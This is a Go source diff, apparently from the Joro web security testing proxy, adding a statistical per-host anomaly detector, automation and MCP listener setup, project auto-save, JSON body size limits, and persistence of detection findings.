emit(ep, strong, fmt.Sprintf("content-type %s; host is mostly %s (%d/%d endpoints)", ct, domCT, ctFreq[ct], n))
}
st := ep.modalStatus()
if stDominates && st != 0 && st != domST && frac(stFreq[st], n) < th.rareFrac {
strong := stFreq[st] == 1
emit(ep, strong, fmt.Sprintf("status %dxx; host is mostly %dxx (%d/%d endpoints)", st, domST, stFreq[st], n))
}
}
}
// sizeSignal flags an endpoint whose median response size is a robust-z outlier
// among the host's per-endpoint medians.
func sizeSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
var meds []float64
var have []*endpoint
for _, ep := range eps {
if len(ep.sizes) == 0 {
continue
}
meds = append(meds, ep.medianSize())
have = append(have, ep)
}
if len(have) < th.minMetric {
return
}
med := median(meds)
spread := mad(meds, med)
for i, ep := range have {
z := robustZ(meds[i], med, spread)
if z >= th.zThresh {
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("response size %s bytes; host median %s (z=%.1f)",
commas(int64(meds[i])), commas(int64(med)), z))
}
}
}
// latencySignal is sizeSignal for response duration.
func latencySignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
var meds []float64
var have []*endpoint
for _, ep := range eps {
if len(ep.durs) == 0 {
continue
}
meds = append(meds, ep.medianDur())
have = append(have, ep)
}
if len(have) < th.minMetric {
return
}
med := median(meds)
spread := mad(meds, med)
for i, ep := range have {
z := robustZ(meds[i], med, spread)
// Only slow outliers are interesting; a fast endpoint is not a lead.
if z >= th.zThresh && meds[i] > med {
emit(ep, z >= th.zThresh*1.7, fmt.Sprintf("median latency %dms; host median %dms (z=%.1f)",
int64(meds[i]), int64(med), z))
}
}
}
// structureSignal flags a rare non-asset extension or a parameter name unique to
// one endpoint on the host.
func structureSignal(eps []*endpoint, _ thresholds, emit func(*endpoint, bool, string)) {
extFreq := map[string]int{}
paramFreq := map[string]int{}
for _, ep := range eps {
if ep.ext != "" {
extFreq[ep.ext]++
}
for p := range ep.params {
paramFreq[p]++
}
}
for _, ep := range eps {
if ep.ext != "" {
_, common := commonWebExt[ep.ext]
if !common && extFreq[ep.ext] == 1 {
emit(ep, true, fmt.Sprintf("extension .%s appears on no other endpoint", ep.ext))
}
}
var uniq []string
for p := range ep.params {
if paramFreq[p] == 1 {
uniq = append(uniq, p)
}
}
if len(uniq) > 0 {
sort.Strings(uniq)
emit(ep, false, fmt.Sprintf("parameter(s) %s used by no other endpoint", strings.Join(uniq, ", ")))
}
}
}
// headerSignal flags an endpoint exposing a framework/server token or auth scheme
// rare for the host.
func headerSignal(eps []*endpoint, th thresholds, emit func(*endpoint, bool, string)) {
n := len(eps)
techFreq := map[string]int{}
authFreq := map[string]int{}
for _, ep := range eps {
if t := ep.modalTech(); t != "" {
techFreq[t]++
}
if a := ep.modalAuth(); a != "" {
authFreq[a]++
}
}
domTech, domTechN := modalStr(techFreq)
techDominates := domTech != "" && float64(domTechN)/float64(n) >= th.dominateFrac
for _, ep := range eps {
t := ep.modalTech()
if techDominates && t != "" && t != domTech && frac(techFreq[t], n) < th.rareFrac {
emit(ep, techFreq[t] == 1, fmt.Sprintf("tech %q; rest of host is %q (%d/%d)", t, domTech, techFreq[t], n))
}
a := ep.modalAuth()
if a != "" && frac(authFreq[a], n) < th.rareFrac {
emit(ep, authFreq[a] == 1, fmt.Sprintf("auth scheme %q is rare on this host (%d/%d)", a, authFreq[a], n))
}
}
}
// finding assembles a detect.Finding pointing at the endpoint's most recent
// capture, so the operator's row actions (Send to Fuzz, Copy as curl) work. It
// carries no occurrences: the representative moves each cycle and an occurrence
// per move would inflate Count without meaning.
func (ep *endpoint) finding(ruleID, detail string, sev detect.Severity, conf detect.Confidence) detect.Finding {
now := time.Now()
return detect.Finding{
ID: detect.FindingID(ruleID, ep.host, ep.key),
RuleID: ruleID,
RuleName: ruleNames[ruleID],
Category: detect.CategoryAnomaly,
Severity: sev,
Confidence: conf,
Target: detect.TargetMessage,
Host: ep.host,
Method: ep.repMeth,
URL: ep.repURL,
RequestID: ep.repReqID,
Detail: ep.key,
Evidence: detail,
EvidenceOffset: -1,
FirstSeen: now,
LastSeen: now,
}
}
func frac(count, total int) float64 {
if total == 0 {
return 0
}
return float64(count) / float64(total)
}
// commas formats an integer with thousands separators for readable evidence.
func commas(n int64) string {
s := fmt.Sprintf("%d", n)
neg := strings.HasPrefix(s, "-")
if neg {
s = s[1:]
}
var b strings.Builder
for i, c := range s {
if i > 0 && (len(s)-i)%3 == 0 {
b.WriteByte(',')
}
b.WriteRune(c)
}
if neg {
return "-" + b.String()
}
return b.String()
}
+81
View File
@@ -0,0 +1,81 @@
package anomaly
import "sort"
// median returns the median of xs. It sorts a copy, so the caller's slice is
// untouched. An empty slice returns 0.
func median(xs []float64) float64 {
n := len(xs)
if n == 0 {
return 0
}
c := make([]float64, n)
copy(c, xs)
sort.Float64s(c)
if n%2 == 1 {
return c[n/2]
}
return (c[n/2-1] + c[n/2]) / 2
}
// mad is the median absolute deviation from med — a spread measure that, unlike
// the standard deviation, is not itself dragged toward the outliers this package
// hunts for.
func mad(xs []float64, med float64) float64 {
if len(xs) == 0 {
return 0
}
dev := make([]float64, len(xs))
for i, x := range xs {
d := x - med
if d < 0 {
d = -d
}
dev[i] = d
}
return median(dev)
}
// robustZ is the MAD-based z-score. 0.6745 rescales the MAD to a standard-
// deviation-equivalent for normal data, so a threshold of ~3.5 has the usual
// reading. Returns 0 when the spread is degenerate (every value identical),
// which correctly flags nothing.
func robustZ(x, med, madv float64) float64 {
if madv <= 0 {
return 0
}
z := 0.6745 * (x - med) / madv
if z < 0 {
z = -z
}
return z
}
// modalStr returns the most frequent key in m and its count, ties broken by the
// lexically smaller key so the result is stable across runs.
func modalStr(m map[string]int) (string, int) {
best := ""
bestN := 0
for k, v := range m {
if v > bestN || (v == bestN && k < best) {
best = k
bestN = v
}
}
return best, bestN
}
// modalInt is modalStr for integer keys.
func modalInt(m map[int]int) (int, int) {
best := 0
bestN := 0
first := true
for k, v := range m {
if first || v > bestN || (v == bestN && k < best) {
best = k
bestN = v
first = false
}
}
return best, bestN
}
+14
View File
@@ -0,0 +1,14 @@
package api
import "context"
// StartAnomalyLoop launches the per-host anomaly engine in the background,
// mirroring StartDetectLoop. It runs whether or not the feature is enabled; the
// engine cheaply no-ops each cycle while detect.Config.AnomalyEnabled is off, so
// a live toggle needs no restart.
func (s *APIServer) StartAnomalyLoop(ctx context.Context) {
if s.anomalyEngine == nil {
return
}
go s.anomalyEngine.Run(ctx)
}
+397
View File
@@ -0,0 +1,397 @@
package api
import (
"context"
"fmt"
"log"
"os"
"path/filepath"
"strings"
"time"
"github.com/BishopFox/joro/internal/automation"
"github.com/BishopFox/joro/internal/capability"
"github.com/BishopFox/joro/internal/capreg"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/jsruntime"
"github.com/BishopFox/joro/internal/localcmd"
"github.com/BishopFox/joro/internal/mcp"
)
// SetAutomation installs the automation token store and builds the capability
// registry over it.
//
// It is a setter rather than another parameter on New, which already takes
// fifteen; this follows SetHookRunner and SetOnEvent. Passing nil leaves every
// /api/v1/automation route unregistered, binds no second port, and starts no
// goroutine — which is the default, since main.go only calls this when the token
// file could be opened and --no-automation was not given.
//
// The registry is built here rather than in main.go because detectFindings and
// detectEngine are constructed inside New, and moving them out would be a
// behavior-adjacent refactor of code whose placement is deliberately commented.
func (s *APIServer) SetAutomation(store *automation.Store) {
if store == nil || s.listenerMode {
return
}
s.autoStore = store
s.capAudit = capability.NewAuditLog(capability.DefaultAuditSize)
s.capContexts = httptools.NewContexts()
s.scriptManager = s.newScriptManager()
s.capRegistry = capreg.Build(capreg.Deps{
Store: s.store,
Scope: s.scope,
Findings: s.detectFindings,
Engine: s.detectEngine,
Notes: s.noteStore,
WSStore: s.wsStore,
CA: s.ca,
// Automation sends go through Joro's own proxy so they are captured,
// scoped and rewritten exactly like browser traffic. BindAddr rather than
// a hardcoded loopback: an operator who bound the proxy elsewhere still
// needs this to reach it.
ProxyAddr: fmt.Sprintf("%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
Version: s.buildInfo.Version,
ActiveProject: func() string {
s.mu.RLock()
defer s.mu.RUnlock()
return s.activeProjectConfig
},
SetHighlight: s.setHighlight,
// The rule stores behind the config-class capabilities. Settings is
// deliberately not among them: it lives on this struct behind s.mu, and it is
// where the knobs that would matter most are — SOCKS, the team token, the
// listener URL.
Replace: s.replace,
CustomData: s.customData,
Noise: s.noise,
Intercept: s.intercept,
// A getter rather than the context itself: this runs before StartDetectLoop,
// so s.detectCtx is still nil here. detectBackgroundCtx already falls back to
// context.Background when the loop never started.
Scanner: s.detectScanner,
BgCtx: s.detectBackgroundCtx,
Contexts: s.capContexts,
Fuzzer: s.fuzzerStore,
Transport: s.transport,
Privileged: s.cfg.AutomationPrivileged,
Sliver: s.sliverClient,
Mythic: s.mythicClient,
// Scripting is registered only if the script half is actually live: the manager
// exists for commands alone as well, and without a worker executable there is
// nothing to run. Advertising a tool that always fails is worse than not having
// it.
//
// There is no Commands counterpart here on purpose. Local command execution is
// not a capability and never becomes one: capreg.validateBundle panics on a
// privileged capability in the SDK bundle, validateProfiles panics on one in a
// profile, and jsruntime.Bindings already states the rule that command execution
// is granted by hand and never bundled. A command automation's authority is the
// operator having armed it, which is why nothing about it reaches this struct.
Scripting: s.scriptingEnabled(),
Script: s.scriptRunnerDep(),
// Fire-only, and ID-addressed. A run may choose among the endpoints the operator
// opened to automation; it cannot author one, read one's URL, or reach a webhook
// that was not ticked. See caps_webhook.go.
Webhooks: s.webhookFirer(),
Broadcast: s.hub.Broadcast(),
}, s.capAudit)
s.mcpListener = mcp.NewListener()
if s.cfg.AutomationPrivileged || s.scriptingEnabled() {
var ids []string
for _, c := range s.capRegistry.All() {
if c.Privileged {
ids = append(ids, c.ID)
}
}
log.Printf("[automation] privileged capabilities are grantable to an automation token: %s. "+
"No profile includes them; grant each by hand.", strings.Join(ids, " "))
}
}
// newScriptManager builds the automation runner, or returns nil when neither
// --automation-scripting nor --automation-commands was given.
//
// The two flags are separate axes and either alone is enough to want a manager: the
// package's store, dispatcher, run log and lens machinery are shared, and only the
// execution half differs. Which half is live is decided by scriptingEnabled and
// commandsEnabled, not by this returning non-nil.
//
// The script runtime is a worker-process runtime: each run is a fresh re-exec of this
// binary in --script-worker mode, so terminating a run is killing a process and a runaway
// allocation costs the worker rather than the proxy. os.Executable is the only thing that
// can fail here, and a host where it does cannot spawn a worker at all — so scripting is
// disabled rather than degraded to an in-process VM, which would quietly weaken the
// containment the feature is described by. Commands are unaffected: they are their own
// process by construction and need no worker.
func (s *APIServer) newScriptManager() *jsautomation.Manager {
if !s.cfg.AutomationScripting && !s.cfg.AutomationCommands {
return nil
}
var runtime jsruntime.Runtime
if s.cfg.AutomationScripting {
exe, err := os.Executable()
if err != nil {
log.Printf("[automation] --automation-scripting: cannot locate this executable (%v); "+
"script.run is disabled this run", err)
} else {
runtime = jsruntime.NewWorkerRuntime(exe, "--script-worker")
s.scriptRuntimeReady = true
}
}
// Installed automations live beside the plugins, not under ~/.joro/configs/: a
// project config is published to teammates, and executable code that runs against
// the full SDK bundle must not travel with it. Their key/value state does ride in
// the project config, because that is engagement data rather than code.
s.automationStorage = jsautomation.NewStorage()
// The custom triggers automations reference are opened in New, not here: webhooks
// reference them too and are available without either automation flag. See
// initTriggers, which carries the rest of that reasoning.
pkgs := jsautomation.NewStore(filepath.Join(s.cfg.DataDir, "automations"))
// Install-time program-size check, which happens where a run's own copy of the
// limit is not in reach.
pkgs.MaxSourceBytes = func() int {
if s.autoStore == nil {
return 0
}
return s.autoStore.ScriptBudget().Host.Resolved().SourceBytes
}
return jsautomation.New(jsautomation.Deps{
Store: pkgs,
Storage: s.automationStorage,
// A getter, for the same reason Deps.BgCtx is one: the capability that starts
// a run needs this manager, and this manager needs the sealed registry, so one
// of the two edges has to be deferred past construction.
Registry: func() jsautomation.Invoker {
if s.capRegistry == nil {
return nil
}
return s.capRegistry
},
Runtime: runtime,
Contexts: s.capContexts,
// The operator's run policy. A getter because it is edited at runtime, and
// because jsautomation must not import the token store.
Budget: func() jsruntime.BudgetPolicy {
if s.autoStore == nil {
return jsruntime.BudgetPolicy{}
}
return s.autoStore.ScriptBudget()
},
// The policy a run no token launched inherits — the operator's own boundary, read
// live for the same reason Budget is. A getter also keeps jsautomation clear of a
// proxy handle: the whole question it needs answered is this one bool.
ScopeConfigured: func() bool {
return s.scope != nil && s.scope.IsEnabled() && s.scope.RuleCount() > 0
},
// The command half. Commands reads the flag live through a getter for symmetry
// with the rest of this struct, not because it can change — it cannot without a
// restart, which is the point of it being a launch flag.
Commands: func() bool { return s.cfg.AutomationCommands },
CommandBudget: func() localcmd.Policy {
if s.autoStore == nil {
return localcmd.Policy{}
}
return s.autoStore.CommandBudget()
},
Scratch: filepath.Join(s.cfg.DataDir, jsautomation.ScratchDirName()),
// Two byte slices for one sequence number, and nothing else. Handing over
// *proxy.Store would put List, Clear and Sitemap in reach of a package whose
// whole authorization story is that it reaches the registry and nothing else.
Captures: func(seq int) ([]byte, []byte, bool) {
if s.store == nil {
return nil, nil, false
}
item := s.store.GetBySeq(seq)
if item == nil {
return nil, nil, false
}
return item.ReqRaw, item.RespRaw, true
},
// What a command's environment gets when its spec asks to be proxied. The same
// address the managed testing browser is pointed at, and for the same reason: a
// tool that honours these has its traffic captured and filtered by the
// operator's own scope, noise and Match & Replace rules.
ProxyURL: fmt.Sprintf("http://%s:%d", s.cfg.BindAddr, s.cfg.ProxyPort),
CAFile: filepath.Join(s.cfg.DataDir, "ca.crt"),
})
}
// scriptingEnabled reports whether the JavaScript half is live: the flag was given and a
// worker runtime could actually be built.
//
// Both halves of that matter. The flag alone would leave script.run registered on a host
// where os.Executable failed, and advertising a tool that fails on every call is worse
// than not having it.
func (s *APIServer) scriptingEnabled() bool {
return s.scriptManager != nil && s.cfg.AutomationScripting && s.scriptRuntimeReady
}
// commandsEnabled reports whether the command half is live.
func (s *APIServer) commandsEnabled() bool {
return s.scriptManager != nil && s.cfg.AutomationCommands
}
// startScriptTriggers brings up the trigger dispatcher.
//
// Started from here rather than from main.go because this runs inside Start, which is
// already gated on proxy mode and on automation being configured — and because the
// dispatcher needs the server-lifetime context, which is the same reason StartDetectLoop
// takes one. The hub subscription is made here too: jsautomation cannot import this
// package (api imports it to build the registry), so the wiring belongs on this side.
func (s *APIServer) startScriptTriggers(ctx context.Context) {
if s.scriptManager == nil || s.scriptManager.Packages() == nil {
return
}
// Reclaim scratch left by previous processes before anything can add to it. Done
// here rather than left to the first run, because a Joro restarted more often than
// it runs a command would otherwise keep every directory it ever made.
if s.commandsEnabled() {
s.scriptManager.SweepScratch()
}
s.scriptTriggers = jsautomation.NewDispatcher(s.scriptManager, s.store, s.hub.Broadcast())
s.scriptTriggers.WatchTriggers(s.triggers)
// A webhook watching automation.completed has to be told here too: that event never
// reaches the bus, so subscribing to it is not possible. WatchRuns appends.
s.watchAutomationRuns()
go s.scriptTriggers.Run(ctx, s.hub.Subscribe(0))
}
// scriptRunnerDep returns the runner as the interface capreg expects, or a nil
// interface when scripting is off. Returning the typed nil pointer directly would give
// capreg a non-nil interface holding nil, and the handler's own nil check would not
// catch it — the same trap capreg.Build avoids with its Scope assignment.
func (s *APIServer) scriptRunnerDep() capreg.ScriptRunner {
if !s.scriptingEnabled() {
return nil
}
return s.scriptManager
}
// automationEnabled reports whether the automation surface is available.
func (s *APIServer) automationEnabled() bool {
return s.autoStore != nil && s.capRegistry != nil
}
// startAutomation brings up the persisted MCP listener state and the token
// store's flush loop. Called from Start once the server context exists.
func (s *APIServer) startAutomation(ctx context.Context) {
if !s.automationEnabled() {
return
}
s.autoStore.StartFlushLoop(ctx)
s.mcpListener.CloseOnContext(ctx)
s.startScriptTriggers(ctx)
state := s.autoStore.MCP()
if !state.Enabled {
return
}
if err := s.startMCPListener(state.Port); err != nil {
// Non-fatal: a port conflict at startup must not stop Joro. The UI shows
// the error on the Automation page, which is where an operator would look.
log.Printf("[automation] MCP listener: %v", err)
}
}
// startMCPListener binds and serves the MCP endpoint.
//
// It refuses with zero tokens configured. An unauthenticated MCP server on
// loopback is a local privilege-escalation gadget for every other process on the
// machine, including a browser extension — and since the tools include sending
// traffic through the operator's engagement proxy, that is not a theoretical
// concern.
func (s *APIServer) startMCPListener(port int) error {
if !s.automationEnabled() {
return fmt.Errorf("automation is not configured")
}
if s.autoStore.Count() == 0 {
return fmt.Errorf("create an automation token before enabling the MCP listener: " +
"an MCP server with no tokens would accept any local process")
}
srv := mcp.NewServer(s.capRegistry, s.autoStore, s.buildInfo.Version)
if err := s.mcpListener.Start(port, srv.Handler()); err != nil {
s.broadcastMCPState()
return err
}
s.broadcastMCPState()
return nil
}
func (s *APIServer) stopMCPListener() error {
if s.mcpListener == nil {
return nil
}
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel()
err := s.mcpListener.Stop(ctx)
s.broadcastMCPState()
return err
}
// mcpStateView is the shape the UI renders.
type mcpStateView struct {
Enabled bool `json:"enabled"`
Running bool `json:"running"`
Port int `json:"port"`
Endpoint string `json:"endpoint"`
Error string `json:"error,omitempty"`
// TokenCount lets the UI explain why enabling is refused before the operator
// tries it.
TokenCount int `json:"tokenCount"`
}
func (s *APIServer) mcpState() mcpStateView {
if !s.automationEnabled() {
return mcpStateView{}
}
persisted := s.autoStore.MCP()
running, port, lastErr := s.mcpListener.Running()
if port == 0 {
port = persisted.Port
}
return mcpStateView{
Enabled: persisted.Enabled,
Running: running,
Port: port,
Endpoint: fmt.Sprintf("http://127.0.0.1:%d/mcp", port),
Error: lastErr,
TokenCount: s.autoStore.Count(),
}
}
// broadcastMCPState pushes listener state to open UI clients.
//
// This is the only automation WebSocket event. An event per invocation would be a
// firehose the *agent* controls, on a channel shared with proxy traffic; the
// Activity view polls instead.
func (s *APIServer) broadcastMCPState() {
if s.hub == nil {
return
}
select {
case s.hub.Broadcast() <- event.WSEvent{Type: "automation.mcp.state", Data: s.mcpState()}:
default:
}
}
+59
View File
@@ -0,0 +1,59 @@
package api
import (
"context"
"log"
"time"
)
// autoSaveInterval is how often the auto-save loop checks the active project for
// changes.
const autoSaveInterval = 30 * time.Second
// StartAutoSaveLoop launches a background goroutine that periodically saves the
// active project when its autoSave preference is on and the live state has
// changed since the last save. It runs until ctx is cancelled.
func (s *APIServer) StartAutoSaveLoop(ctx context.Context) {
go func() {
ticker := time.NewTicker(autoSaveInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
s.autoSaveTick()
}
}
}()
}
// autoSaveTick performs one auto-save check. It is a no-op when no project is
// active, the active project has autoSave disabled, or nothing changed since the
// last save.
func (s *APIServer) autoSaveTick() {
// Deciding which project to save and writing it must be one atomic step
// against a concurrent delete. Reading the active name outside the file lock
// and passing it to a save that acquires the lock later is what lets a tick
// that began before a delete write the project back out after it — the file
// reappears with no sidecar and no way for the operator to tell why.
s.projectFileMu.Lock()
defer s.projectFileMu.Unlock()
s.mu.RLock()
active := s.activeProjectConfig
lastSig := s.lastSaveSig
s.mu.RUnlock()
if active == "" {
return
}
if autoSave, _ := s.resolveProjectPrefs(active); !autoSave {
return
}
if s.liveStateSignature() == lastSig {
return
}
if err := s.saveProjectLocked(active); err != nil {
log.Printf("[autosave] failed to save project %q: %v", active, err)
}
}
+65
View File
@@ -0,0 +1,65 @@
package api
import (
"encoding/json"
"errors"
"io"
"mime"
"net/http"
)
// Body caps for JSON request bodies, in three tiers.
//
// maxJSONBody is the default, sized above any ordinary control-plane payload.
// maxBulkJSONBody covers the routes carrying base64'd raw requests and responses, and
// wordlists sourced from an upload capped at 50 MB. maxProjectImportBytes covers project
// import, whose body is a whole project snapshot — history, campaigns and findings —
// gzipped and then base64'd, which costs another third.
const (
maxJSONBody = 4 << 20
maxBulkJSONBody = 64 << 20
maxProjectImportBytes = 512 << 20
)
// decodeJSON reads a JSON body bounded by maxJSONBody, and requires the
// `application/json` content type.
//
// Unknown fields are accepted rather than rejected, so a client sending a field this build
// does not know still round-trips.
func decodeJSON(r *http.Request, dst any) error {
return decodeJSONLimit(r, dst, maxJSONBody)
}
// decodeJSONLimit is decodeJSON at an explicit cap, for a route whose payload has its own
// size tier.
func decodeJSONLimit(r *http.Request, dst any, max int64) error {
if err := requireJSONType(r); err != nil {
return err
}
return json.NewDecoder(http.MaxBytesReader(nil, r.Body, max)).Decode(dst)
}
// decodeJSONOptional is decodeJSONLimit for the routes whose body is optional: every field
// defaulting is meaningful, so a request offering no body leaves dst at its zero value
// rather than erroring. A body that is present must still carry the JSON content type.
func decodeJSONOptional(r *http.Request, dst any, max int64) error {
if r.Body == nil || (r.ContentLength == 0 && r.Header.Get("Content-Type") == "") {
return nil
}
if err := requireJSONType(r); err != nil {
return err
}
err := json.NewDecoder(http.MaxBytesReader(nil, r.Body, max)).Decode(dst)
if errors.Is(err, io.EOF) {
return nil // empty body: leave dst at its zero value
}
return err
}
func requireJSONType(r *http.Request) error {
ct, _, err := mime.ParseMediaType(r.Header.Get("Content-Type"))
if err != nil || ct != "application/json" {
return errors.New("expected Content-Type: application/json")
}
return nil
}
+92
View File
@@ -0,0 +1,92 @@
package api
import "context"
// StartDetectLoop launches the passive detection scanner in the background. It
// runs until ctx is cancelled, mirroring StartAutoSaveLoop.
func (s *APIServer) StartDetectLoop(ctx context.Context) {
if s.detectScanner == nil {
return
}
// Retained so a rescan can outlive the HTTP request that started it.
s.mu.Lock()
s.detectCtx = ctx
s.mu.Unlock()
go s.detectScanner.Run(ctx)
}
// detectBackgroundCtx returns the server-lifetime context for rescan jobs,
// falling back to context.Background() when the loop was never started.
func (s *APIServer) detectBackgroundCtx() context.Context {
s.mu.RLock()
ctx := s.detectCtx
s.mu.RUnlock()
if ctx == nil {
return context.Background()
}
return ctx
}
// resetDetectCursor moves the live-scan watermark. Must be called wherever
// proxy.Store rewrites its sequence numbering (Clear zeroes nextSeq, LoadItems
// rewrites it); a stale high cursor stops detection for the session.
func (s *APIServer) resetDetectCursor(seq int) {
// The anomaly engine's record cache is keyed on the same sequence numbering,
// so it must reset wherever detection's cursor does.
if s.anomalyEngine != nil {
s.anomalyEngine.ResetCursor(seq)
}
// Reflection mapping walks the same sequence numbering, so it resets here
// too: this one function is what every reset path calls.
if s.echoEngine != nil {
s.echoEngine.ResetCursor(seq)
if seq == 0 && s.echoStore != nil {
s.echoStore.Clear()
}
}
// Technology fingerprinting walks the same sequence numbering, so it resets
// here too; at seq 0 ResetCursor also clears its derived host map.
if s.techEngine != nil {
s.techEngine.ResetCursor(seq)
}
// The OAST confirmer forward-scans the same sequence numbering and drops its
// harvested hash set on reset, so it resets here too.
if s.oastEngine != nil {
s.oastEngine.ResetCursor(seq)
}
if s.detectScanner == nil {
return
}
s.detectScanner.ResetCursor(seq)
}
// clearDetectFindingsWithHistory clears findings alongside request history when
// Config.ClearFindingsWithHistory is set. Off by default.
func (s *APIServer) clearDetectFindingsWithHistory() {
if s.detectEngine == nil || s.detectFindings == nil {
return
}
if s.detectEngine.Config().ClearFindingsWithHistory {
s.detectFindings.Clear()
s.broadcastDetectSummary()
}
}
// StartEchoLoop launches the reflection mapper. It runs unconditionally and
// no-ops per tick while disabled, so a live toggle needs no restart.
func (s *APIServer) StartEchoLoop(ctx context.Context) {
if s.echoEngine == nil {
return
}
go s.echoEngine.Run(ctx)
}
// StartTechLoop launches the passive technology fingerprinter. Like the echo
// loop it runs unconditionally and no-ops per tick while disabled; it compiles
// the embedded Wappalyzer database on its own goroutine, off the boot path.
func (s *APIServer) StartTechLoop(ctx context.Context) {
if s.techEngine == nil {
return
}
go s.techEngine.Run(ctx)
}
+291
View File
@@ -0,0 +1,291 @@
package api
import (
"sort"
"time"
"github.com/BishopFox/joro/internal/detect"
)
// maxPersistedFindings bounds how many findings ride in a project file. At
// roughly 400 bytes of JSON each, the full allowance is about 1.5 MB pre-gzip.
const maxPersistedFindings = 2000
// maxPersistedOccurrences trims the sighting list per finding for storage.
const maxPersistedOccurrences = 5
// detectStateForProject snapshots the live detection state into project DTOs.
func (s *APIServer) detectStateForProject() (
enabled bool,
cfg *projectDetectConfig,
disabled []string,
overrides map[string]string,
rules []projectDetectRule,
findings []projectDetectFinding,
) {
if s.detectEngine == nil {
return false, nil, nil, nil, nil, nil
}
enabled = s.detectEngine.IsEnabled()
c := s.detectEngine.Config()
cfg = &projectDetectConfig{
ScopeOnly: c.ScopeOnly,
ScanRequests: c.ScanRequests,
PersistFindings: c.PersistFindings,
ClearFindingsWithHistory: c.ClearFindingsWithHistory,
MaxBodyScanBytes: c.MaxBodyScanBytes,
MaxRequestBodyScanBytes: c.MaxRequestBodyScanBytes,
SkipContentTypes: c.SkipContentTypes,
SkipExtensions: c.SkipExtensions,
ExcludeHosts: c.ExcludeHosts,
AnomalyEnabled: c.AnomalyEnabled,
AnomalySensitivity: c.AnomalySensitivity,
}
// Sorted so a project file is stable across saves and diffs cleanly.
disabled = s.detectEngine.DisabledBuiltins()
sort.Strings(disabled)
overrides = s.detectEngine.SeverityOverrides()
for _, r := range s.detectEngine.UserRules() {
rules = append(rules, projectDetectRule{
ID: r.ID, Name: r.Name, Description: r.Description, Remediation: r.Remediation,
Category: string(r.Category), Severity: string(r.Severity),
Confidence: string(r.Confidence), Target: string(r.Target),
Pattern: r.Pattern, Literal: r.Literal, CaptureGroup: r.CaptureGroup,
PostFilters: r.PostFilters, GroupBy: string(r.GroupBy),
ContentTypes: r.ContentTypes, StatusCodes: r.StatusCodes, Scheme: r.Scheme,
MinLength: r.MinLength, MinEntropy: r.MinEntropy,
MaxPerResponse: r.MaxPerResponse, RedactEvidence: r.RedactEvidence,
Enabled: r.Enabled,
})
}
if c.PersistFindings && s.detectFindings != nil {
findings = persistableFindings(s.detectFindings.All())
}
return enabled, cfg, disabled, overrides, rules, findings
}
// persistableFindings selects and trims findings for storage. Triaged findings
// (false-positive marks and notes) are always kept when the list is capped,
// regardless of severity.
func persistableFindings(all []detect.Finding) []projectDetectFinding {
triaged := make([]detect.Finding, 0, len(all))
rest := make([]detect.Finding, 0, len(all))
for _, f := range all {
if f.FalsePositive || f.Notes != "" {
triaged = append(triaged, f)
continue
}
rest = append(rest, f)
}
// Highest severity first, then most recently seen.
sort.SliceStable(rest, func(i, j int) bool {
if a, b := rest[i].Severity.Rank(), rest[j].Severity.Rank(); a != b {
return a > b
}
return rest[i].LastSeen.After(rest[j].LastSeen)
})
selected := triaged
for _, f := range rest {
if len(selected) >= maxPersistedFindings {
break
}
selected = append(selected, f)
}
out := make([]projectDetectFinding, 0, len(selected))
for _, f := range selected {
occ := f.Occurrences
if len(occ) > maxPersistedOccurrences {
occ = occ[len(occ)-maxPersistedOccurrences:]
}
pOcc := make([]projectDetectOccurrence, 0, len(occ))
for _, o := range occ {
pOcc = append(pOcc, projectDetectOccurrence{
RequestID: o.RequestID, Seq: o.Seq, Method: o.Method, URL: o.URL,
StatusCode: o.StatusCode, Timestamp: o.Timestamp.Format(time.RFC3339Nano),
Offset: o.Offset, Part: o.Part,
})
}
out = append(out, projectDetectFinding{
ID: f.ID, RuleID: f.RuleID, RuleName: f.RuleName,
Category: string(f.Category), Severity: string(f.Severity),
Confidence: string(f.Confidence), Target: string(f.Target),
Host: f.Host, Method: f.Method, URL: f.URL, RequestID: f.RequestID,
Detail: f.Detail, Evidence: f.Evidence, RawEvidence: f.RawEvidence,
EvidenceOffset: f.EvidenceOffset, EvidenceLength: f.EvidenceLength,
EvidencePart: f.EvidencePart,
FirstSeen: f.FirstSeen.Format(time.RFC3339Nano),
LastSeen: f.LastSeen.Format(time.RFC3339Nano),
Count: f.Count, FalsePositive: f.FalsePositive, Notes: f.Notes,
Truncated: f.Truncated, SeverityOverridden: f.SeverityOverridden,
Occurrences: pOcc,
})
}
return out
}
// applyDetectProjectConfig restores detection state from a project file. Returns
// the values the load response reports back to the frontend.
func (s *APIServer) applyDetectProjectConfig(cfg *projectConfigFile) map[string]any {
if s.detectEngine == nil {
return nil
}
s.detectEngine.SetEnabled(cfg.DetectEnabled)
dc := detect.DefaultConfig()
if cfg.DetectConfig != nil {
p := cfg.DetectConfig
dc = detect.Config{
ScopeOnly: p.ScopeOnly,
ScanRequests: p.ScanRequests,
PersistFindings: p.PersistFindings,
ClearFindingsWithHistory: p.ClearFindingsWithHistory,
MaxBodyScanBytes: p.MaxBodyScanBytes,
MaxRequestBodyScanBytes: p.MaxRequestBodyScanBytes,
SkipContentTypes: p.SkipContentTypes,
SkipExtensions: p.SkipExtensions,
ExcludeHosts: p.ExcludeHosts,
AnomalyEnabled: p.AnomalyEnabled,
AnomalySensitivity: p.AnomalySensitivity,
}
}
s.detectEngine.SetConfig(dc)
rules := make([]detect.Rule, 0, len(cfg.DetectRules))
for _, r := range cfg.DetectRules {
rules = append(rules, detect.Rule{
// The ID is preserved; findings reference it.
ID: r.ID, Name: r.Name, Description: r.Description, Remediation: r.Remediation,
Kind: detect.KindRegex, Category: detect.Category(r.Category),
Severity: detect.Severity(r.Severity), Confidence: detect.Confidence(r.Confidence),
Target: detect.Target(r.Target), Pattern: r.Pattern, Literal: r.Literal,
CaptureGroup: r.CaptureGroup, PostFilters: r.PostFilters,
GroupBy: detect.GroupBy(r.GroupBy), ContentTypes: r.ContentTypes,
StatusCodes: r.StatusCodes, Scheme: r.Scheme, MinLength: r.MinLength,
MinEntropy: r.MinEntropy, MaxPerResponse: r.MaxPerResponse,
RedactEvidence: r.RedactEvidence, Enabled: r.Enabled,
})
}
s.detectEngine.SetUserRules(rules)
